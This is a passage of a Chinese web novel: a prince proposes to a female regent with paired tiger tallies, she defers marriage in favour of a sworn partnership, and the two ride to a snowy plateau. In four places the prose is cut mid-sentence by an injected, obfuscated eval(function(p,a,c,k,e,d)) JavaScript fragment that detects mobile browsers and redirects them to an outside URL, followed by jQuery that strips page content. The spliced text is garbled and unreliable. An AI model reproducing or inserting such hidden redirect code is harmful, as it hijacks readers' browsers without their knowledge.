身处权力漩涡的最中心,每一步都如履薄冰,四周是虎视眈眈的敌人与莫测的人心。情感,无论是给予还是接受,对她而言都是太过奢侈、也太过危险的东西。它可能成为弱点,成为软肋,成为敌人攻击的靶子,也可能模糊判断,干扰决策,让她无法再像以往那般冷静无情地权衡利弊。她肩上扛着的东西太重,重到她不敢,也不能让自己有丝毫分心。 “萧御,”她终于开口,声音依旧平稳清越,却比平日少了几分公事公办的冷硬,多了一丝几不可察的复杂涩意,“你是监国亲王,先帝嫡子,身份贵重,肩负宗庙社稷之望。你我合作,稳定朝局,推行新政,富国强兵,足矣。有些话……”她顿了顿,移开与他对视的目光,望向窗外摇曳的梅影,声音轻了下来,“不必说。” 这是婉拒,也是提醒。提醒彼此的身份,提醒所处的环境,提醒那些不容忽视的责任与风险。 “不,”萧御斩钉截铁地打断她,态度是前所未有的强硬与坚定。他的眼神炽热如熔岩,坚定如磐石,仿佛任何言语都无法动摇他此刻的决心,“有些话,今日必须说。尤其是在你‘财神’身份昭告天下,权柄与声望皆已达顶峰、更引来无数觊觎与算计的此时此刻。我不愿,也绝不能,再等了。” 他再次深吸一口气,胸膛微微起伏,仿佛下定了某种破釜沉舟、不留退路的决心。然后,在谢凤卿重新转回的目光注视下,在昏黄灯光与窗外月色的交织中,他缓缓抬起了那只一直紧握成拳、置于身侧的右手。 五指,一根一根,稳定而有力地张开。 掌心之中,赫然是两枚半边的、造型古朴狰狞的青铜虎符! 虎符不大,约掌心可握,造型是俯卧的猛虎,做工精湛,虎身线条流畅充满力量感,细节处如毛发、爪牙皆清晰可见,透着森然的杀伐之气。在昏黄灯光的映照下,青铜表面泛着幽暗沉重的哑光,那是历经岁月与无数次手掌摩挲才会形成的独特包浆。虎符内侧,镌刻着细密古老的符文以及“调兵”、“遣将”等古篆阴文字,笔划深刻,透着不容置疑的权威。两枚虎符严丝合缝地并排躺在他宽厚的掌心,合在一起,便是一枚完整的、代表着可以调动京畿重地及北境部分最精锐边军的最高兵权信物! 谢凤卿的瞳孔骤然收缩!饶是她定力超群,此刻心中也掀起了惊涛骇浪! 虎符!而且是完整的一对!这绝非普通的信物或礼物!这意味着萧御将他手中掌握的、最为核心、最为致命的军事权力象征,毫无保留、毫无防备地呈现在了她的面前!这不是展示,这是交付!是将自己安身立命、甚至足以问鼎江山的最大依仗,亲手奉上! “自我成年开府,执掌部分兵权以来,这虎符从未离身,更从未完整示人。”萧御的声音带着金属般的质感,冰冷而沉重,一字一句,清晰地敲打在寂静的空气中,也敲打在谢凤卿的心上,“它代表的力量,足以在顷刻间掀起腥风血雨,颠覆朝堂;也足以守护一方安宁,保境安民。无数人觊觎它,无数人算计它,为此暗流汹涌,甚至血流成河。” 他托着那沉甸甸的虎符,再次向前踏出一步,这次,他的脚尖几乎要触到紫檀木书案的边缘。他将掌心郑重地、平稳地递到谢凤卿面前,目光灼灼,仿佛燃烧着两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935973|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 簇能焚尽一切虚伪与隔阂的火焰: “谢凤卿,今夜,我萧御以此虎符为凭——” 他顿了顿,声音陡然拔高,带着一种破开一切世俗礼法、身份桎梏、宣告于天地般的决绝与铿锵: “我愿以我所能掌控的**山河为聘!以此调兵遣将、安邦定国的虎符为契!以这朗朗乾坤、天下万民为证!” 他的目光紧紧锁住她那双难得显出愕然与震动的凤眸,那句在他胸中酝酿了不知多少个日夜、重逾千钧、足以颠覆两人关系与未来格局的话语,终于冲破所有顾忌、所有权衡、所有顾虑,清晰无比、掷地有声地响彻在这间静谧的书房之中: “嫁给我!” 山河为聘!虎符为契!天下为证! 这已不是寻常意义上的求婚,不是才子佳人的花前月下,也不是皇室宗亲的**联姻那些委婉说辞。这是一个手握重权、身处权力顶峰的亲王,将自己所能支配和代表的一切——辽阔的疆土、精锐的军队、身后的皇权法统背书、乃至他个人的全部忠诚与未来——都作为最沉重、也最真挚的筹码,倾尽所有、毫无保留地呈于她面前!这不是求取,而是交付!不是索要她的归属,而是奉献自己的所有!他将自己的权柄与心意,一并赤裸裸地摊开,任她裁决。 书房内的时间仿佛在这一刻彻底凝固了。宫灯的光晕似乎都停滞了跳动,窗外的梅影不再摇曳,连穿堂而过的夜风也悄然匿迹,生怕惊扰了这石破天惊的一幕。万籁俱寂,只剩下萧御那双灼热逼人、充满了不容错辨的赤诚与期待的眼睛,和他掌心那两枚沉甸甸、冰凉凉、仿佛承载了千军万马重量与无数血火历史的青铜虎符。 谢凤卿彻底怔住了。饶是她心智坚毅如铁,算无遗策,经历过无数生死险关、朝堂风波,也从未想过,会在这样一个看似平常的深夜,在这间只属于她的静谧书房里,面对这样一番彻底打破她所有预料、所有心理防线的告白。没有风花雪月的浪漫辞藻,没有缠绵悱恻的柔情蜜意,只有如此硬核、如此霸道、却又如此真挚滚烫的,将象征着江山权柄的“山河”与“虎符”都捧到她面前的——真心。 她的心湖被投入了一块万钧巨石,激起滔天巨浪,疯狂冲击着她理智的堤岸。震惊、动容、茫然、无措,还有一丝隐秘的、连自己都不愿承认的慌乱与……悸动,种种情绪复杂地交织在一起,翻腾不休。她看着他眼中毫不掩饰的炽热、期待、以及那破釜沉舟般的勇气,那里面没有朝堂上常见的算计与权衡,只有一片近乎坦荡的赤诚,如同最纯粹的金子,灼灼发光,烫得她心头发慌。 沉默,在两人之间无边蔓延。每一息都仿佛被拉长成百年,沉重得令人窒息。只有灯芯燃烧的细微声响,提醒着时间的流逝。 第147章我会一直走在你身边 萧御保持着托举虎符的姿势,手臂稳如磐石,没有一丝颤抖。他的目光一瞬不瞬地凝视着她,深邃的眼眸中翻涌着惊涛骇浪,却又有着磐石般的坚定。他在等待,等待着她的回应,等待着决定两人未来关系的宣判。那姿态,仿佛可以就这样举着这重于泰山的“聘礼”与“契约”,站到地老天荒,海枯石烂。 不知过了多久,也许只是短短几息,也许漫长如一个世纪。谢凤卿才极其轻微、几乎难以察觉地吸了一口气,那气息悠长而微颤。她移开目光,不再与他对视,转而望向窗外那寂寥清冷的月色,和月色下疏影横斜的梅枝。再开口时,她的声音已经恢复了平日的清冷质感,却比之前更添了几分复杂难言的意味,如同冰层下涌动的暗流。 “萧御,”她唤他的名字,这次没有加上任何身份前缀,只是单纯的名字,在这情境下显得格外不同,“你的心意,我感受到了。山河为聘,虎符为契,天下为证……”她缓缓重复这九个字,每一个字都仿佛有千钧之重,“很重,很真。” 她停顿了一下,似乎在极力平复心头依旧汹涌的波澜,又似乎在艰难地组织着接下来的语言,那将是关乎两人未来、也关乎她自身道路的关键抉择。 “但是,”她转过头,重新看向他,眼神已经恢复了惯有的清澈与坚定,带着一种不容置疑的、属于谢凤卿的决断力,“我无法答应你。” 萧御眼中那炽烈燃烧的光芒,几不可察地微微一黯,仿佛星辰被薄云瞬间遮掩。但他托着虎符的手依然稳如泰山,没有收回,只是那用力握持的指关节,泛出了更明显的白色。 “并非对你无意,”谢凤卿的声音很轻,却字字清晰,如同冰珠滚落玉盘,清脆而冷静,带着剖析自己内心的坦诚,“恰恰相反,或许正是因为……有些不同,有些……在意,我才更不能在此刻,应允此事。” 她站起身,月白色的广袖长衫随着她的动作如流水般倾泻而下,在地上划过一道优雅的弧线。她绕过沉重的紫檀木书案,走到那扇敞开的雕花木窗前,背对着萧御,望向窗外那无边无际的深沉夜色,以及夜色中遥远闪烁的星辰。她的背影挺拔而单薄,透着一种遗世独立的孤高。 “你看这天下,”她缓缓开口,声音在夜风中显得有些飘渺,却又带着沉重的力量,“北境之外,蛮族王庭新主雄才大略,一统诸部,秣马厉兵,虽暂有和约羁縻,其吞并南窥之心,昭然若揭。三年之内,北疆必起烽烟。”她的手指无意识地在窗棂上轻轻划过,仿佛在勾勒地图,“西戎诸国,对我丝绸茶叶、瓷器技艺乃至今日展示的**垂涎三尺,商路之下,暗藏刀兵,劫掠商队、滋扰边城之事从未断绝。西域商道之控制权,迟早有一战。东南海疆之外,红毛夷人船坚炮利,殖民拓土,其舰队身影已频频出现在琉球、吕宋一带,骚扰沿海,其志不在小。南洋诸岛,亦被其渗透搅动,局势不稳。” 她的手指收回,轻轻按在自己心口的位置,目光却依旧投向脚下这片仿佛在夜色中沉睡、实则暗流汹涌的广袤土地与万千生民:“而境内,新政初行,触动利益根基,旧党余孽、地方豪强只是暂时蛰伏,暗中串联,伺机反扑。女学之推行,更是挑战千年礼教根基,阻力重重,非一朝一夕可成。国库虽因追缴亏空和‘财神’之名引来投资而暂时丰盈,然税收之制弊病丛生,土地兼并愈演愈烈,水利失修,民生多艰,疫病时有……积弊如山,非雷霆手腕、持之以恒不能改。” 她每说一句,窗外的夜色仿佛就更深沉一分,那清冷的月光也仿佛更添寒意。这不是推诿之词,而是她日夜思虑、压在心头实实在在的千钧重担。 “而我,谢凤卿,”她蓦然转身,面对着依旧托举虎符、静立原地的萧御。月光从窗外洒入,在她周身勾勒出一圈清冷皎洁的光晕,让她看起来越发遥不可及,如同月宫仙子,却又因眼中那灼灼的信念而充满震撼人心的力量,“既然走到了这个位置,亲手揭开了‘财神’的面纱,向天下立下了‘世界**库’、‘天下通衢’、‘四海女学’的誓言,便已斩断所有退路,再没有回头的余地。我要做的事太多,要扫清的障碍太多,要面对的明枪暗箭太多,要走的路……太长,也太险。此身此心,已许社稷,许苍生,许那个我所期盼的‘新纪元’。” 她的目光清澈而锐利,如出鞘的绝世名剑,直刺问题的核心: “此时此刻,若我应了你,与你大婚,会如何?”她自问自答,语气冷静得近乎残酷,却又无比现实,“朝野会如何议论纷纷?是强强联合,共保江山?还是权臣挟制亲王,图谋不轨?万国使节会如何揣测?是真心爱慕结合,还是精心策划的**联姻,意图进一步整合力量,对外扩张?那些隐藏在暗处的敌人,宗室余孽、旧党豪强、乃至境外势力,会如何利用此事大做文章,离间人心,煽动叛乱?而你我之后,是应该将宝贵的精力、时间、**资本,耗费在筹备盛大婚礼、平衡各方利益、应对流言蜚语、稳固新婚权位上,还是应该心无旁骛,将全部心力放在扫平内外障碍、坚定不移推行新政、实实在在富国强兵、开启民智、夯实国本之上?” 她摇了摇头,答案不言而喻。在那双清冷明澈的凤眸中,家国天下的重量,远重于个人情感的欢愉。 “萧御,你给我的,是‘山河为聘’。”她的声音不高,却字字千钧,带着一种悲壮而坚定的使命感,“而我此刻心中所系,所思所虑,日夜牵挂的,恰恰是这‘山河’本身!是这山河之上的每一寸土地,每一条河流,每一个城池,以及生活在其上的万千黎民!它尚未真正安宁,百姓尚未富足,国家尚未强盛,文明尚未开化至我所期望的模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940162|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样。在这山河未宁、天下未定之前,我无心,也无力,去经营一段需要倾注太多个人情感、时间与精力的婚姻。那是对你的不公,也是对这山河、对追随我之人的辜负!” 谢凤卿的声音在寂静的夜里回荡,每一个字都像投入深潭的石子,激起千层波澜。她站在窗前,月光从背后穿透月白色的寝衣,勾勒出她清瘦而挺拔的轮廓。那身影在夜色中显得如此单薄,却又如此沉重——她肩上扛着的,是这**江山的未来。 萧御依旧保持着托举虎符的姿势,手臂稳如磐石,但那双深不见底的眼眸中,翻涌的情绪已经沉淀为某种更加复杂的东西。他看着这个女子——这个在世人眼中权倾朝野、富可敌国、挥手间便能改天换地的“财神大帝”,此刻却以最清醒的姿态,将内心最深处的那份重负,如此坦荡地展现在他面前。 “我明白了。”良久,萧御终于开口。他的声音低沉,带着一种奇异的平静,仿佛**后的海面,虽然波涛仍在深处涌动,表面却已恢复了某种秩序。他没有收回虎符,反而向前一步,将掌中那对沉甸甸的兵符,轻轻放在了紫檀木书案的边缘,就放在谢凤卿方才看的那卷《盐铁论》旁。 “你的拒绝,我听见了。”他继续说,目光从她的背影移到她放在窗棂上的手——那双手纤细、白皙,指尖在月光下泛着玉石般的光泽,可就是这样一双手,正在试图推动这个古老而庞大的帝国转向全新的轨道。 “但我今夜来此,不是为了听你说这些的。”萧御的声音陡然坚定起来,带着一种不容置喙的决断,“我来,是要告诉你——无论你是否应允这场婚事,无论你是否接受这虎符为聘,我的心意,我的决心,都不会改变。” 谢凤卿缓缓转过身。月光从她身后照来,她的面容隐在阴影中,只有那双眼睛亮得惊人,像是夜空中最亮的两颗星。 “谢凤卿,你听着。”萧御一字一顿,每个字都像在石板上凿刻般清晰,“你说山河未宁,不办婚礼。好,我认。但山河未宁,不代表我萧御的心意也会停滞不前。你说此身此心已许社稷苍生,那我便告诉你——” 他向前踏出第三步,这一次,他离她不过一尺之遥。这个距离近到能看清她睫毛的每一次轻颤,能感受到她呼吸的每一次起伏。 “我萧御的心,也早已许给了这江山社稷,许给了天下苍生。”他的声音低而沉,却带着某种雷霆万钧的力量,“只不过,在我心里,这社稷苍生,与站在我面前的这个女人,从来就不是可以分割的两件事。你要守护的,便是我想守护的。你要改变的,便是我要助你改变的。你要走的这条路,我会一直走在你身边——无论是以监国亲王的身份,还是以萧御的身份。” 他伸出手,不是去触碰她,而是指向窗外那片沉睡的京城,更远处那片广袤的土地。 第148章这话我说了,就不会收回 “你说北境烽烟将起,我便去整顿边军,加固城防,训练新兵。你说西戎虎视眈眈,我便去梳理商道,布置暗哨,分化诸部。你说海疆不宁,我便去督造战船,操练水师,绘制海图。你说新政推行受阻,我便去清查吏治,打击豪强,疏通言路。你说女学难办,我便去说服宗亲,筹措钱粮,延请名师。” 他的目光转回她脸上,那目光炽热而坚定,仿佛要将这夜色都点燃。 “山河未宁,那我们就一起去让它安宁。天下未定,那我们就一起去让它安定。你要开辟的新纪元,我来为你扫清障碍。你要点燃的燎原之火,我来为你添薪加柴。” “谢凤卿,”他叫她的名字,声音里有一种近乎虔诚的郑重,“你可以不答应嫁给我,但你不能阻止我站在你身边。你可以不接受这虎符为聘,但你不能拒绝我以手中之剑,为你劈开前路荆棘。你可以将婚期推迟到山河大定之日,但你不能否认——从今往后,我萧御的剑锋所指,便是你目光所向之处。我掌中权柄所及,便是你理想实现之地。” 书房里再次陷入寂静。但这次的寂静与之前不同——不再是压抑的、令人窒息的对峙,而是一种奇异的、充满张力的平衡。就像暴风雨来临前的那一刻,天空低垂,空气凝滞,可你知道,接下来要发生的一切,将彻底改变世界的面貌。 谢凤卿看着眼前这个男人。烛光与月光在他脸上交织出明暗分明的光影,勾勒出他棱角分明的下颌,挺直的鼻梁,还有那双此刻正毫不避讳地凝视着她的眼睛。那眼睛里有什么?是炽热的情感,是不容动摇的决心,是洞悉一切的清醒,还有一种近乎悲壮的、愿意与整个世界为敌也要站在她身边的孤勇。 她忽然想起很多事。 想起北境风雪中,他率军突袭蛮族大营,浴血奋战三天三夜,只为兑现对她“必破敌军”的承诺。 想起回京路上,遭遇宗室死士伏击,他将她护在身后,背上中箭也未曾退后半步。 想起朝堂之上,面对满朝质疑,他第一个站出来,以监国亲王之尊为她作保,力排众议。 想起今日承运殿前,万国使节山呼“财神大帝”时,他站在她身侧稍后,目光始终落在她身上,仿佛在告诉所有人——她若为峰,他便是托起这座峰的山峦。 原来不知不觉间,这个人已经用这样的方式,走进了她的生命,融入了她的道路。他不是附庸,不是追随者,他是并肩者,是同路人。他说得对——她要守护的,正是他想守护的。她要改变的,正是他愿意助她改变的。 “萧御。”她终于开口,声音有些沙哑。这是她今夜第二次这样唤他的名字,不带任何前缀,只是单纯的两个字,却在这夜色中显得格外不同。 “我在。”他回答,简短的两个字,却仿佛承载了千言万语。 “如果我告诉你,”谢凤卿看着他,目光清澈如寒潭,却又深不见底,“我要走的路,可能会颠覆千百年来的纲常伦理,可能会触动无数既得利益者,可能会引来全天下的口诛笔伐,可能会让我成为史书上的‘祸国妖女’或‘乱政权臣’——即便这样,你也要站在我身边吗?” 萧御笑了。那是一个很淡的笑容,却在他向来冷峻的脸上显得格外生动,仿佛冰封的湖面裂开一道缝隙,露出底下滚烫的岩浆。 “谢凤卿,”他说,“你觉得我在乎这些吗?” 他顿了顿,笑容渐渐敛去,神色重新变得肃然:“自我记事起,看到的便是朝堂党争不休,边关烽火不断,国库空虚,民不聊生。我亲眼见过北境百姓在蛮族铁蹄下流离失所,也亲眼见过江南富户朱门酒肉臭,路有冻死骨。我见过才华横溢的女子因性别所限,终生困于深宅后院,也见过不学无术的纨绔因出身高贵,平步青云。” “这个世道,早就该变了。”他的声音沉下来,带着一种久经思虑的沉重,“只是千百年来,无人有魄力去变,也无人有能力去变。直到你出现——直到你以女子之身摄政监国,以商贾之道充盈国库,以**之力震慑四方,以通衢之网联结天下,以女学之教开启民智。” 他看着她,目光灼灼:“你要颠覆纲常?那旧纲常本就不公。你要触动利益?那既得利益本就是不义之财。你要引来口诛笔伐?那就让他们骂。史书工笔?百年之后,自有后人评说。但在我眼中,在我心里——” 他再次向前半步,这一次,两人之间已近到呼吸可闻。 “你是我见过最清醒、最勇敢、也最该站在这个位置上的人。”萧御一字一顿地说,“你要开辟的新路,或许艰难,或许危险,但那是唯一正确的路。我愿意与你同行,不是因为儿女私情,而是因为——我信你。信你的眼光,信你的能力,信你心中的那份天下。” 谢凤卿的指尖微微颤抖了一下。 她忽然想起很久以前,师父曾对她说过的话。 那时她还是个不谙世事的少女,在终南山上学艺。师父是前朝大儒,因不满朝**败而归隐山林。有一日讲学,说起治国之道,师父叹道:“古来为政者,或重武功,或重文治,或重权术,或重仁德。然真能匡扶天下、泽被苍生者,必是心怀大爱、眼有远见、手握实权、身怀绝技之人。四者缺一,难成大事。” “那这样的人,千年可有一遇?”她当时问。 师父沉默良久,望向远山云海,缓缓道:“或许有,或许无。但若真有此人,必是背负天命,也必是——孤独至极。” “为何孤独?” “因为走得越高,看得越远,能与同行者便越少。因为要担的责任太重,要破的规矩太多,要受的非议太烈。到最后,或许连一个能理解、能信任、能托付的人,都难寻觅。” 那时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16945084|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的她懵懂,不解其中深意。直到今日,直到此刻,站在权力的巅峰,面对着这个男人如此坦荡、如此决绝的告白与承诺,她才忽然懂了——师父说的孤独,是因为高处不胜寒,是因为知音世所稀。 但如果……如果真的有这样一个人呢? 如果真的有一个人,不因她的性别而轻视,不因她的权势而谄媚,不因她的理想而畏惧,不因她的道路而退缩。他只是看清了她要做的事,认准了她要走的路,然后如此坚定地、清醒地、义无反顾地选择与她并肩。 那这高处,是否还会如此孤寒? “萧御,”她第三次叫他的名字,声音很轻,却带着某种下定决心的重量,“你可知道,若你今夜这番话传出去,会是什么后果?” “知道。”他答得毫不犹豫,“朝野会说我被美色所惑,宗亲会骂我背弃祖制,史官会记我‘私德有亏’。但那又如何?” 他看着她,目光坦荡如晴空:“我萧御行事,但求无愧于心,无愧于民,无愧于这江山社稷。至于旁人如何评说——重要吗?” 谢凤卿沉默了。 她走到书案前,目光落在那对并排放置的青铜虎符上。在昏黄的灯光下,虎符表面的铜锈泛着幽暗的光泽,那些古老的符文仿佛在诉说着千年的兵戈铁马、权力更迭。她伸出手,指尖轻轻拂过冰冷的青铜表面,触感粗糙而沉重。 “这虎符,”她缓缓道,“可调京畿三万禁军,北境五万边军,共计八万精锐。持此符者,在紧急时可先调兵后奏,是真正的国之重器。” “是。”萧御道,“所以我将它带来,作为聘礼。” “不。”谢凤卿抬起头,目光与他相接,“这不是聘礼。” 她顿了顿,一字一句道:“这是你的诚意,也是你的信任。我将它收下——但不是作为你娶我的聘礼,而是作为你我并肩作战的信物。” 萧御眸光一动。 “山河未宁,不办婚礼,这话我说了,就不会收回。”谢凤卿的声音清晰而坚定,“但山河未宁,不代表你我不可以立约。” 她走到窗前,推开窗。夜风灌入,吹动她的长发和衣袂。她望着窗外无垠的夜色,缓缓道:“今夜之前,你我是盟友,是合作伙伴,是朝堂上互相扶持的同僚。但从今夜起——” 她转过身,月光洒在她脸上,那张清冷绝艳的面容此刻有种惊心动魄的美。 “你我就是立下生死之约的同路人。”她说,“这约定,不涉儿女私情,不论婚嫁之事。它只关乎一件事——你我同心,共安天下。你要助我推行新政,我要与你共固江山。你要为我扫清障碍,我要助你实现抱负。这**山河,这千万黎民,从今往后,是你我共同的责任。” 她走回书案前,拿起其中一半虎符,握在掌心。青铜的冰冷透过皮肤传来,沉甸甸的,像是一个承诺的重量。 第149章终究还是有人,愿意陪她一起站着 “虎符,我收下一半。”她看着萧御,目光清澈如镜,“这一半,代表我接受了你的信任,接受了你的诚意,也接受了——你与我并肩的请求。但婚礼之事,暂且不提。待到山河大定、海晏河清那一日,若你我初心未改,若这天下已是你我期望的模样——” 她顿了顿,声音轻了下来,却带着某种更加坚定的力量:“到那时,再论婚嫁。” 萧御看着她,看了很久很久。 烛火在他深邃的眼眸中跳动,那里面翻涌着太多情绪——震动,了然,释然,还有某种深沉如海的欣慰。他忽然笑了,这一次的笑容真切而温暖,仿佛春冰初融,万物复苏。 “好。”他说,只有一个字,却重如千钧。 他拿起另一半虎符,握在手中。两人隔着书案,手中各持半枚兵符,在烛光与月光交织的光影中,仿佛完成了一个无声的仪式。 “山河大定之日,再论婚嫁。”萧御重复她的话,然后补充道,“但在那之前,谢凤卿,你要记住——无论前路有多少艰难险阻,无论朝野有多少明枪暗箭,我萧御都会站在你身边。不是以未婚夫婿的身份,而是以同道者的身份,以同行者的身份,以这江山社稷共同守护者的身份。” 谢凤卿的嘴角,极轻、极淡地,向上弯了一下。 那不是一个笑容,至少不是寻常意义上的笑容。那更像是在漫长孤旅中,忽然看见前方有灯火亮起时,那一瞬间的、几乎难以察觉的放松与慰藉。 “我记住了。”她说。 窗外,夜色更深了。子时已过,丑时将近。整个京城都沉浸在睡梦中,只有这座王府深处的书房里,灯火彻夜未熄。没有人知道,在这个看似平常的深夜里,两个站在权力顶峰的人,以如此独特的方式,订下了一个关乎彼此命运、也关乎这帝国未来的约定。 不涉风月,不论婚嫁。 只谈山河,只说天下。 但正因如此,这份约定,才显得如此厚重,如此不同寻常。 “天快亮了。”谢凤卿望向窗外,东方天际已现出一线极淡的鱼肚白。 萧御也看向窗外,然后转回头看她:“你一夜未眠。” “你不是也一样?” 两人相视,忽然都沉默了。一种奇异的氛围在书房中弥漫开来——不再是之前的紧张对峙,也不是寻常的君臣奏对,而是一种更加微妙、更加复杂的亲近与疏离并存的状态。 “我该走了。”萧御说,却没有立刻动身。 “嗯。”谢凤卿应了一声,也没有催促。 又过了片刻,萧御终于转身,走向门口。他的手已经搭在门扉上,却又停下,回头看她。 “谢凤卿。”他叫她的名字。 “还有事?” 萧御看着她,目光深沉如夜:“若有一日,你觉得累了,觉得撑不住了,记得——我在这里。” 谢凤卿微微一怔。 “我不是要你依赖我,”萧御继续说,声音很轻,却每个字都清晰入耳,“只是要你知道,在这条路上,你不是一个人。你可以独自扛起这片天,但如果你愿意,也可以分一些重量给我。我不是你的附庸,不是你的追随者,我是你的——同路人。” 他说完,不等她回应,便推门而出。 雕花木门在他身后轻轻合上,发出轻微的“咔哒”声。书房里重新恢复了寂静,只剩下谢凤卿一人,还有案头那盏跳动的孤灯。 她站在原地,许久未动。 手中那半枚虎符依旧冰冷,沉甸甸地压在掌心。她低头看着青铜表面那些古老的纹路,指尖无意识地摩挲着凹凸的刻痕。 同路人。 这个词,她从未想过会从萧御口中听到。更未想过,会在这样的深夜,以这样的方式,与这个人订下这样的约定。 不是婚约,却比婚约更重。 不涉情爱,却比情爱更深。 她走到窗前,推开窗。晨风扑面而来,带着早春特有的清寒。东方天际那一线鱼肚白已经扩散开来,渐渐染上淡淡的金红。夜色正在退去,黎明即将到来。 手中虎符的冰冷透过皮肤,一直传到心里。那是一种沉甸甸的、实实在在的重量,提醒着她刚才发生的一切不是梦境,提醒着她从今往后,在这条漫长而艰难的路上,她真的不再是一个人。 有一个人,以如此郑重的方式,将半壁江山的兵权交到她手中,以此立誓要与她并肩。 有一个人,看清了她所有的抱负、所有的艰难、所有的孤独,却依然选择与她同行。 有一个人,不在乎世俗礼法,不在乎史书评说,只在乎她要做的事是否正确,她要走的路是否值得。 谢凤卿闭上眼,深深吸了一口晨间清冷的空气。 师父说得对,高处不胜寒,知音世所稀。但或许,她比师父幸运那么一点点。 至少在此刻,在这黎明将至的时分,她知道—— 这孤寒的高处,终究还是有人,愿意陪她一起站着。 窗外的天色越来越亮,金红色的霞光从东方天际喷薄而出,染红了半片天空。新的一天,开始了。 而属于谢凤卿和萧御的,那条漫长而艰难的同路,也从这一刻,真正开始了。 子时三刻,京郊以北,五十里外。 这里已彻底远离了京城的温暖灯火与人间烟火,是一片广袤无垠、人迹罕至的雪原。时令已近初春,但北地苦寒,此处的积雪仍厚,最深处可没膝。在清冷皎洁的月光照耀下,整片雪原泛着银箔般清冷皎洁的光辉,一直延伸到远处黑黢黢的、如同巨兽蛰伏的山峦轮廓。寒风如最锋利的刀,从北方毫无遮挡地呼啸而来,掠过平坦的原野,卷起细碎坚硬的雪沫,打在脸上冰冷刺骨,带着干燥凛冽的气息。 雪原中央,突兀地矗立着一座天然形成的石质高台。高台约有十丈见方,三丈余高,形似一方巨大的、被遗忘在时光长河中的远古印玺,通体由灰白色的坚硬花岗岩构成。不知经历了多少年的岁月风霜雨雪侵蚀,岩体表面布满斑驳嶙峋的痕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947437|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹,裂缝中生长着枯黄的苔藓与耐寒的矮小植株,在月光下显得苍凉、孤寂而神秘。此刻,它孤零零地屹立于茫茫雪海之中,仿佛被遗弃在时间与空间之外的古老祭坛,沉默地见证着天地的荒寒。 两骑快马,如同撕裂厚重夜幕的两道闪电,自南方官道的方向疾驰而来。马蹄踏碎积雪,在身后留下两行深深蜿蜒的蹄印,随即又被呼啸的风迅速抹平痕迹。马上之人,正是谢凤卿与萧御。 谢凤卿已换下了书房中的寝衣长衫,穿着一身便于骑射行动的玄色窄袖劲装,外罩一件银狐裘披风,狐**细密柔软,在月光下泛着流动的银光,为她挡去不少寒意。墨发用一根简单的羊脂白玉簪在脑后高高束起,利落飒爽。萧御亦是一身深青色利落骑装,外罩墨色大氅,眉宇间凝结着北地风霜的凛冽之色。两人皆未带任何随从侍从,只将最信任的、由谢凤卿亲手训练的风雪十八骑,留在了数里之外的不同方位,执行外围警戒,严禁任何人靠近这片区域。 在距离那座沉默巨石高台尚有百余步时,两人极有默契地同时勒紧缰绳。胯下神骏的汗血宝马嘶鸣一声,人立而起,碗口大的铁蹄在雪地上刨出深深的雪坑,随即稳稳停住,喷吐着白色的雾气。 谢凤卿干脆利落地甩镫下马,银狐裘披风在凛冽寒风中猎猎翻飞,卷起细碎的雪沫。她仰起头,清冷的目光投向月光下那座沉默而苍凉的巨石高台,眼神中流露出一种奇特的、近乎眷恋与寻求寄托的情绪——仿佛在经历了书房中那番直击灵魂的情感震荡后,她需要一个更广阔、更接近天地本源、更能让人心神沉淀的地方,来安放激荡难平的心绪,来厘清那些纷繁复杂的思绪,来做出真正遵从本心的决定。 她没有说话,甚至没有多看萧御一眼,只是足尖在厚厚的积雪上轻轻一点,身形便如一只轻盈迅捷的玄色雨燕,又似月下翩跹的鹤影,几个兔起鹘落的起落,衣袂飘飘,便已轻盈无声地掠上了那三丈余高的石台顶端。身法之妙曼,轻功之高超,即使在如此寒夜疾驰数十里之后,依旧显得举重若轻,飘逸绝伦。 萧御将两匹马的缰绳随意地拴在一块突出的、能挡些风的岩石上,轻轻拍了拍马颈以示安抚,随即深吸一口冰冷的空气,内力运转,身形拔地而起,如同苍鹰掠空,同样迅捷而稳健地跃上了高台,落在谢凤卿身侧稍后的位置。 